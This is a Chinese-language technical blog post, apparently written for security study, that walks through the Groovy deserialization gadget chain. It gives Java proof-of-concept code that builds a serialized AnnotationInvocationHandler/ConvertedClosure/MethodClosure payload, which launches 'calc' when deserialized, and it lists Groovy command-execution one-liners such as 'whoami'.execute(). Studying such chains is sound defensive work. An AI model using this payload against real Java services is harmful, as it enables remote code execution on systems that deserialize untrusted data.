Groovy反序列化链分析
前言
Groovy 是一种基于 JVM 的开发语言,具有类似于 Python,Ruby,Perl 和 Smalltalk 的功能。Groovy 既可以用作 Java 平台的编程语言,也可以用作脚本语言。groovy 编译之后生成 .class 文件,与 Java 编译生成的无异,因此可以在 JVM 上运行。
在项目中可以引用 Groovy 的相关包依赖,分为核心包和模块包,如果想依赖全部包,可以使用 groovy-all
环境搭建
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>2.4.3</version>
</dependency>
Groovy命令执行
MethodClosure
package org.example;
import org.codehaus.groovy.runtime.MethodClosure;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class methodClosure {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
Method m = MethodClosure.class.getDeclaredMethod("doCall", Object.class);
m.setAccessible(true);
m.invoke(mc, "calc");
}
}
很朴素,一眼看出漏洞点在doCall方法,调试一波

invokeMethod顾名思义就是执行方法的,调试进去看也确实如此,看getOwner是获取到this.owner,看构造方法,owner是一个对象

而owner我们是设置了的,owner就是我们传入的Runtime对象,method同理可控,这样就实现了任意类方法调用

String.execute()
Groovy为String对象封装了一个execute方法用来动态执行命令,这个方法会返回一个 Process 对象。也就是说,在 Groovy 中,可以直接使用 "ls".execute() 这种方法来执行系统命令ls
注意这里,创建一个Groovy类文件,不是创建java类文件了
package org.example
class stringExecute {
static void main(String[] args){
println("calc".execute().text);
}
}
// 直接命令执行
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"
// 回显型命令执行
println "cmd /c dir".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}";
ConvertedClosure
ConvertedCloure实际上是一个动态代理类,它继承了ConversionHandler

而ConversionHandler又继承了InvocationHandler

因此该类是一个动态代理,然后注意invokeCustom,这个和InvocationHandler的invoke是一个意思,代理的具体逻辑。如果初始化时指定的method与invokeCustom指定的method参数相同,则invokeCustom方法将会调用代理对象 Closure 的call方法执行传入参数执行
Groovy反序列化构造
说到动态代理就得想到CC1
package org.example;
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.Map;
public class convertedClosure {
public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {
//封装我们需要执行的对象
MethodClosure methodClosure = new MethodClosure("calc", "execute");
ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
// 创建 ConvertedClosure 的动态代理类实例
Map handler = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, closure);
// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, handler);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./Groovy"));
outputStream.writeObject(invocationHandler);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./Groovy"));
inputStream.readObject();
}
catch(Exception e){
e.printStackTrace();
}
}
}
调用链
AnnotationInvocationHandler.readObject()
Map.entrySet() (Proxy)
ConversionHandler.invoke()
ConvertedClosure.invokeCustom()
MethodClosure.call()
ProcessGroovyMethods.execute()
流程分析
调用entrySet

触发invoke,this是ConvertedClosure它继承了ConversionHandler,所以是走进父类里面的方法,在这里面进而触发invokeCustom

最后调用call方法rce


Groovy反序列化链分析的更多相关文章
- Groovy 反序列化漏洞分析(CVE-2015-3253)
0x00 前言 Java反序列化的漏洞爆发很久了,此前一直想学习一下.无奈Java体系太过于复杂,单是了解就花了我很久的时间,再加上懒,就一直拖着,今天恰好有空,参考@iswin大佬两年前的分析, ...
- PHP反序列化链分析
前言 基本的魔术方法和反序列化漏洞原理这里就不展开了. 给出一些魔术方法的触发条件: __construct()当一个对象创建(new)时被调用,但在unserialize()时是不会自动调用的 __ ...
- [Java反序列化]jdk原生链分析
jdk原生链分析 原文链接 作为jdk中目前发现的原生链,还是有必要要分析这个用法的.全文仅限尽可能还原挖掘思路 JDK7u21 在很多链中,TemplatesImpl一直发挥着不可或缺的作用,它是位 ...
- CommonsCollections2 反序列化利用链分析
在 ysoserial中 commons-collections2 是用的 PriorityQueue reaObject 作为反序列化的入口 那么就来看一下 java.util.PriorityQu ...
- CommonsCollections1 反序列化利用链分析
InvokerTransformer 首先来看 commons-collections-3.1-sources.jar!\org\apache\commons\collections\functors ...
- CommonsCollections3 反序列化利用链分析
InstantiateTransformer commons-collections 3.1 中有 InstantiateTransformer 这么一个类,这个类也实现了 Transformer的t ...
- Java反序列化漏洞通用利用分析
原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...
- JAVA 反序列化攻击
Java 反序列化攻击漏洞由 FoxGlove 的最近的一篇博文爆出,该漏洞可以被黑客利用向服务器上传恶意脚本,或者远程执行命令. 由于目前发现该漏洞存在于 Apache commons-collec ...
- Java与groovy混编 —— 一种兼顾接口清晰和实现敏捷的开发方式
有大量平均水平左右的"工人"可被选择.参与进来 -- 这意味着好招人 有成熟的.大量的程序库可供选择 -- 这意味着大多数项目都是既有程序库的拼装,标准化程度高而定制化场景少 开发 ...
- Groovy 读取json文件,并用gson反序列化为List集合
Groovy 读取json文件,并用gson反序列化 package com.bicycle.util import bicycle_grails.StationInfo import com.goo ...
随机推荐
- 【代码更新】SPI时序——AD数模数转换
[代码更新]SPI时序--AD数模数转换 AD芯片手册:https://www.ti.com.cn/cn/lit/ds/symlink/ads8558.pdf?ts=1709473143911& ...
- Java //输入两个正整数m和n,求其最大的公约数和最小公倍数//12和20的最大公约数是4,最小公倍数是60
1 //输入两个正整数m和n,求其最大的公约数和最小公倍数 2 //12和20的最大公约数是4,最小公倍数是60 3 4 Scanner scan = new Scanner(System.in); ...
- Codeforces Round 169 (Div. 2)C. Little Girl and Maximum Sum(差分、贪心)
目录 题面 链接 题意 题解 代码 总结 题面 链接 C. Little Girl and Maximum Sum 题意 给q个[l,r]将所有这些区间里面的数相加和最大. 可以进行的操作是任意排列数 ...
- 你想要一个简单的 MQ 吗?(最简单的那种)
FolkMQ 一个简单的消息中间件(全球最简单的那种,要比谁都简单!).追世间简单为何物,可叫我生死相许! 面向简单编程 1) 启动服务 docker run -p 18602:18602 -p 86 ...
- Zabbix“专家坐诊”第179期问答汇总
欢迎大家加入乐维社区zabbix问答专栏,除了在论坛发帖求问外,还可以在QQ群里交流进步,并且每周三我们会进行免费的技术答疑活动. 问题一: Q:Zabbix alert syncer process ...
- FreeRTOS教程3 中断管理
1.准备材料 正点原子stm32f407探索者开发板V2.4 STM32CubeMX软件(Version 6.10.0) Keil µVision5 IDE(MDK-Arm) 野火DAP仿真器 XCO ...
- electron 中如何安装或更新 vuejs-devtool 最新稳定版
手上正在开发的项目是vue3.0 通过添加 vue-cli-plugin-electron-builder 插件生成 electron 项目,项目在开发过程中发现 beta版的 vuejs-devto ...
- java之Timer类使用方法小例子
直接上代码: package com.iamzken.test; import java.util.Timer; import java.util.TimerTask; public class Te ...
- Android 开发Day2
我的是小刺猬版本,算是比较新的版本了,还有火烈鸟和蜻蜓版啥的 新建项目(project)点击加号新建就行了.这时我们会选择一个模板作为开发的辅助起点,看上哪个就选哪个就行了.推荐新手选空项目(Empt ...
- 【实时渲染】3DCAT实时渲染云助力游戏上云!
随着社会的发展技术的提升,云计算技术得到越来越多人的重视.同时随着5G的落地,游戏产业也迎来了新的革命.一些游戏厂商为了寻求新的发展机会,推出基于云计算的游戏"云游戏",将游戏平台 ...